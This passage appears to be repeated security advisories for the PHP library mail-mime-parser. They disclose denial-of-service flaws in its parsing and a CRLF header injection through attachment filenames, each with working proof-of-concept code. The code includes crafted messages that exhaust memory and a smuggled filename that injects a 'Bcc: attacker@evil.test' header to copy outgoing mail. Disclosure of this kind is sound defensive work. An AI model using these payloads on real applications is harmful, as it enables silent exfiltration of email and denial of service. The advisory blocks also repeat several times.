3. Header buffering is unbounded. HeaderParserService::parse() reads header lines up to a blank line with no limit on header count or total size, so a few megabytes of header lines can hold hundreds of megabytes resident; a ~5 MB message of headers can reach multiple gigabytes and be OOM-killed.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;

function nestedMessage(int $depth): string {
    $head = ''; $tail = '';
    for ($i = 0; $i < $depth; $i++) {
        $head .= "Content-Type: multipart/mixed; boundary=b$i\r\n\r\n--b$i\r\n";
    }   
    return $head . "Content-Type: text/plain\r\n\r\nx\r\n" . $tail;
}
function siblingMessage(int $n): string {
    return "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
        . str_repeat("--b\r\nContent-Type: text/plain\r\n\r\nx\r\n", $n) . "--b--\r\n";
}
function headerMessage(int $n): string {
    return "From: a@b\r\n" . str_repeat("X-H: v\r\n", $n) . "\r\nbody\r\n";
}
function measure(string $label, string $raw): void {
    $t = microtime(true);
    count((new MailMimeParser())->parse($raw, false)->getAllParts());
    printf("%-22s input=%5.2f MB  time=%6.2f s  peak=%6.1f MB\n",
        $label, strlen($raw) / 1048576, microtime(true) - $t,
        memory_get_peak_usage(true) / 1048576);
}

measure('nesting depth=2000', nestedMessage(2000));
measure('siblings=50000',     siblingMessage(50000));
measure('headers=300000',     headerMessage(300000));

Run with a raised memory limit so the header case does not abort early:

php -d memory_limit=2048M poc.php // nesting depth=2000 input= 0.13 MB time= 2.08 s peak= 30.0 MB // siblings=50000 input= 1.72 MB time= 5.11 s peak= 276.0 MB // headers=300000 input= 2.29 MB time= 0.40 s peak= 380.3 MB

Patches

Fixed in 4.0.2 and 3.0.6. The fixes add configurable limits on multipart nesting depth and on header count / total header size (recording a parse error past the threshold rather than throwing), and change sibling append to O(n). Users should upgrade to one of these (or later) versions.

Versions 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release. (Versions prior to 2.0 used a different parser and are not affected by all three paths.)

Workarounds

These costs are super-linear, so an input byte-size cap alone does not bound them. Until upgrading, restrict exposure of the parser to untrusted input, and run parsing under a constrained memory_limit and execution time limit so a malicious message fails its own request rather than exhausting the host.

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.

Attachment filenames are interpolated into the Content-Type and Content-Disposition header values without stripping CR/LF, so a filename containing \r\n serializes as one or more additional, attacker-controlled header lines (for example a forged Bcc: that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.

Details

On the outbound side, MultipartHelper::createAndAddPartForAttachment() sanitizes the filename only with iconv('UTF-8','US-ASCII//translit//ignore', $filename). CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via MimePart::setRawHeader(). A filename of doc\r\nBcc: attacker@evil.test therefore serializes as:

Content-Disposition: attachment;
 filename="doc
Bcc: attacker@evil.test"

The filename value closes after doc, and Bcc: attacker@evil.test stands as its own header line.

The decode side is affected as well, which is what makes purely inbound exploitation possible:

• ParameterPart::decodePartValue() rawurldecode()s an RFC 2231 filename*= parameter with no control-character stripping, so a crafted filename*=utf-8''doc%0D%0ABcc:... makes getFilename() return a string with embedded \r\n.
• The RFC 2047 path (MimeToken) strips \r/\n from the encoded word, but then base64/quoted-printable-decodes it, which can reintroduce CR/LF into the decoded value.

As a result getFilename() can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;
use ZBateson\MailMimeParser\Message;

$parser = new MailMimeParser();

function attachAndReport(string $filename): void {
    $out = Message::from("From: me@host\r\nContent-Type: text/plain\r\n\r\nhi\r\n", false);
    $out->addAttachmentPart('payload', 'application/octet-stream', $filename);
    echo (strpos($out->__toString(), "\r\nBcc: attacker@evil.test") !== false)
        ? "INJECTED\n" : "clean\n";
}

attachAndReport('invoice.pdf');                    // => clean
attachAndReport("doc\r\nBcc: attacker@evil.test"); // => INJECTED

// The CRLF reaches getFilename() straight from parsed mail via an
// RFC 2231 filename*= parameter, so no local construction is needed:
$inbound = "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
    . "--b\r\nContent-Type: application/octet-stream\r\n"
    . "Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%20attacker@evil.test\r\n\r\n"
    . base64_encode('data') . "\r\n--b--\r\n";
$fn = $parser->parse($inbound, false)->getAllAttachmentParts()[0]->getFilename();
var_dump($fn);        // => string(28) "doc\r\nBcc: attacker@evil.test"
attachAndReport($fn); // => INJECTED

Patches

Fixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions.

Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release.

Workarounds

If upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. preg_replace('/[\r\n]+/', ' ', $filename).

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.

Attachment filenames are interpolated into the Content-Type and Content-Disposition header values without stripping CR/LF, so a filename containing \r\n serializes as one or more additional, attacker-controlled header lines (for example a forged Bcc: that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.

Details

On the outbound side, MultipartHelper::createAndAddPartForAttachment() sanitizes the filename only with iconv('UTF-8','US-ASCII//translit//ignore', $filename). CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via MimePart::setRawHeader(). A filename of doc\r\nBcc: attacker@evil.test therefore serializes as:

Content-Disposition: attachment;
 filename="doc
Bcc: attacker@evil.test"

The filename value closes after doc, and Bcc: attacker@evil.test stands as its own header line.

The decode side is affected as well, which is what makes purely inbound exploitation possible:

• ParameterPart::decodePartValue() rawurldecode()s an RFC 2231 filename*= parameter with no control-character stripping, so a crafted filename*=utf-8''doc%0D%0ABcc:... makes getFilename() return a string with embedded \r\n.
• The RFC 2047 path (MimeToken) strips \r/\n from the encoded word, but then base64/quoted-printable-decodes it, which can reintroduce CR/LF into the decoded value.

As a result getFilename() can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;
use ZBateson\MailMimeParser\Message;

$parser = new MailMimeParser();

function attachAndReport(string $filename): void {
    $out = Message::from("From: me@host\r\nContent-Type: text/plain\r\n\r\nhi\r\n", false);
    $out->addAttachmentPart('payload', 'application/octet-stream', $filename);
    echo (strpos($out->__toString(), "\r\nBcc: attacker@evil.test") !== false)
        ? "INJECTED\n" : "clean\n";
}

attachAndReport('invoice.pdf');                    // => clean
attachAndReport("doc\r\nBcc: attacker@evil.test"); // => INJECTED

// The CRLF reaches getFilename() straight from parsed mail via an
// RFC 2231 filename*= parameter, so no local construction is needed:
$inbound = "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
    . "--b\r\nContent-Type: application/octet-stream\r\n"
    . "Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%20attacker@evil.test\r\n\r\n"
    . base64_encode('data') . "\r\n--b--\r\n";
$fn = $parser->parse($inbound, false)->getAllAttachmentParts()[0]->getFilename();
var_dump($fn);        // => string(28) "doc\r\nBcc: attacker@evil.test"
attachAndReport($fn); // => INJECTED

Patches

Fixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions.

Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release.

Workarounds

If upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. preg_replace('/[\r\n]+/', ' ', $filename).

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

An uncontrolled resource consumption / algorithmic complexity vulnerability affecting any application that parses untrusted email with this library.

Three independent parsing paths are super-linear in cost, so a byte-size cap on the caller side does not bound the work done. A crafted message under 2 MB can consume seconds of CPU or hundreds of megabytes to multiple gigabytes of memory (leading to an out-of-memory kill), enabling denial of service. The parse is lazy, but the cost is paid on the first getAllParts() or content read.

Details

1. Deep multipart nesting is O(depth²). MimeParserService::findContentBoundary() tests each content line against the current part and every ancestor via the recursive ParserMimePartProxy::setEndBoundaryFound(), so a nesting depth of D costs 1 + 2 + … + D comparisons. A ~600 KB message nested ~10,000 deep does not finish parsing in a minute.
2. Many sibling parts is O(n²). PartChildrenContainer::add() appends each child with array_splice($children, count($children), 0, [$part]), which reindexes the entire array on every call. The same container backs UUEncoded begin parts via NonMimeParserService.
3. Header buffering is unbounded. HeaderParserService::parse() reads header lines up to a blank line with no limit on header count or total size, so a few megabytes of header lines can hold hundreds of megabytes resident; a ~5 MB message of headers can reach multiple gigabytes and be OOM-killed.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;

function nestedMessage(int $depth): string {
    $head = ''; $tail = '';
    for ($i = 0; $i < $depth; $i++) {
        $head .= "Content-Type: multipart/mixed; boundary=b$i\r\n\r\n--b$i\r\n";
    }   
    return $head . "Content-Type: text/plain\r\n\r\nx\r\n" . $tail;
}
function siblingMessage(int $n): string {
    return "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
        . str_repeat("--b\r\nContent-Type: text/plain\r\n\r\nx\r\n", $n) . "--b--\r\n";
}
function headerMessage(int $n): string {
    return "From: a@b\r\n" . str_repeat("X-H: v\r\n", $n) . "\r\nbody\r\n";
}
function measure(string $label, string $raw): void {
    $t = microtime(true);
    count((new MailMimeParser())->parse($raw, false)->getAllParts());
    printf("%-22s input=%5.2f MB  time=%6.2f s  peak=%6.1f MB\n",
        $label, strlen($raw) / 1048576, microtime(true) - $t,
        memory_get_peak_usage(true) / 1048576);
}

measure('nesting depth=2000', nestedMessage(2000));
measure('siblings=50000',     siblingMessage(50000));
measure('headers=300000',     headerMessage(300000));

Run with a raised memory limit so the header case does not abort early:

php -d memory_limit=2048M poc.php // nesting depth=2000 input= 0.13 MB time= 2.08 s peak= 30.0 MB // siblings=50000 input= 1.72 MB time= 5.11 s peak= 276.0 MB // headers=300000 input= 2.29 MB time= 0.40 s peak= 380.3 MB

Patches

Fixed in 4.0.2 and 3.0.6. The fixes add configurable limits on multipart nesting depth and on header count / total header size (recording a parse error past the threshold rather than throwing), and change sibling append to O(n). Users should upgrade to one of these (or later) versions.

Versions 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release. (Versions prior to 2.0 used a different parser and are not affected by all three paths.)

Workarounds

These costs are super-linear, so an input byte-size cap alone does not bound them. Until upgrading, restrict exposure of the parser to untrusted input, and run parsing under a constrained memory_limit and execution time limit so a malicious message fails its own request rather than exhausting the host.

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.

Attachment filenames are interpolated into the Content-Type and Content-Disposition header values without stripping CR/LF, so a filename containing \r\n serializes as one or more additional, attacker-controlled header lines (for example a forged Bcc: that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.

Details

On the outbound side, MultipartHelper::createAndAddPartForAttachment() sanitizes the filename only with iconv('UTF-8','US-ASCII//translit//ignore', $filename). CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via MimePart::setRawHeader(). A filename of doc\r\nBcc: attacker@evil.test therefore serializes as:

Content-Disposition: attachment;
 filename="doc
Bcc: attacker@evil.test"

The filename value closes after doc, and Bcc: attacker@evil.test stands as its own header line.

The decode side is affected as well, which is what makes purely inbound exploitation possible:

• ParameterPart::decodePartValue() rawurldecode()s an RFC 2231 filename*= parameter with no control-character stripping, so a crafted filename*=utf-8''doc%0D%0ABcc:... makes getFilename() return a string with embedded \r\n.
• The RFC 2047 path (MimeToken) strips \r/\n from the encoded word, but then base64/quoted-printable-decodes it, which can reintroduce CR/LF into the decoded value.

As a result getFilename() can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;
use ZBateson\MailMimeParser\Message;

$parser = new MailMimeParser();

function attachAndReport(string $filename): void {
    $out = Message::from("From: me@host\r\nContent-Type: text/plain\r\n\r\nhi\r\n", false);
    $out->addAttachmentPart('payload', 'application/octet-stream', $filename);
    echo (strpos($out->__toString(), "\r\nBcc: attacker@evil.test") !== false)
        ? "INJECTED\n" : "clean\n";
}

attachAndReport('invoice.pdf');                    // => clean
attachAndReport("doc\r\nBcc: attacker@evil.test"); // => INJECTED

// The CRLF reaches getFilename() straight from parsed mail via an
// RFC 2231 filename*= parameter, so no local construction is needed:
$inbound = "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
    . "--b\r\nContent-Type: application/octet-stream\r\n"
    . "Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%20attacker@evil.test\r\n\r\n"
    . base64_encode('data') . "\r\n--b--\r\n";
$fn = $parser->parse($inbound, false)->getAllAttachmentParts()[0]->getFilename();
var_dump($fn);        // => string(28) "doc\r\nBcc: attacker@evil.test"
attachAndReport($fn); // => INJECTED

Patches

Fixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions.

Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release.

Workarounds

If upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. preg_replace('/[\r\n]+/', ' ', $filename).

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.

Attachment filenames are interpolated into the Content-Type and Content-Disposition header values without stripping CR/LF, so a filename containing \r\n serializes as one or more additional, attacker-controlled header lines (for example a forged Bcc: that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.

Details

On the outbound side, MultipartHelper::createAndAddPartForAttachment() sanitizes the filename only with iconv('UTF-8','US-ASCII//translit//ignore', $filename). CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via MimePart::setRawHeader(). A filename of doc\r\nBcc: attacker@evil.test therefore serializes as:

Content-Disposition: attachment;
 filename="doc
Bcc: attacker@evil.test"

The filename value closes after doc, and Bcc: attacker@evil.test stands as its own header line.

The decode side is affected as well, which is what makes purely inbound exploitation possible:

• ParameterPart::decodePartValue() rawurldecode()s an RFC 2231 filename*= parameter with no control-character stripping, so a crafted filename*=utf-8''doc%0D%0ABcc:... makes getFilename() return a string with embedded \r\n.
• The RFC 2047 path (MimeToken) strips \r/\n from the encoded word, but then base64/quoted-printable-decodes it, which can reintroduce CR/LF into the decoded value.